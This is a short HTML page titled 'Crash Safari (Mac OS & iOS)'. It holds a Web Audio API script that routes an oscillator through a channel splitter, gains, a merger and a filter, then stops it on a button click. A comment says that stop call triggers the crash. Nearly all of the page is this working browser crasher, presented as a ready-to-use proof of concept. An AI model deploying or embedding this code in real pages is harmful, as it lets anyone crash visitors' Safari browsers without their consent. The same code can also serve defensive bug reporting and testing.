Crash Safari (Mac OS & iOS)

index.html

<script>
var context = new (window.AudioContext || window.webkitAudioContext)();

var chanSplit = context.createChannelSplitter(2);
var leftGain = context.createGain();
var rightGain = context.createGain();
var chanMerge = context.createChannelMerger(2);
var filter = context.createBiquadFilter();

chanSplit.connect(leftGain, 0);
chanSplit.connect(rightGain, 1);
leftGain.connect(chanMerge, 0, 0);
rightGain.connect(chanMerge, 0, 1);
chanMerge.connect(filter);
filter.connect(context.destination);

function start () {
  var source = context.createOscillator();
  source.connect(chanSplit);
  source.start(0);
  source.stop(2); // This triggers the crash.
}
</script>
<p>Safari will crash on/before the end of the tone</p>
<button onclick='start()'>Play then crash</button>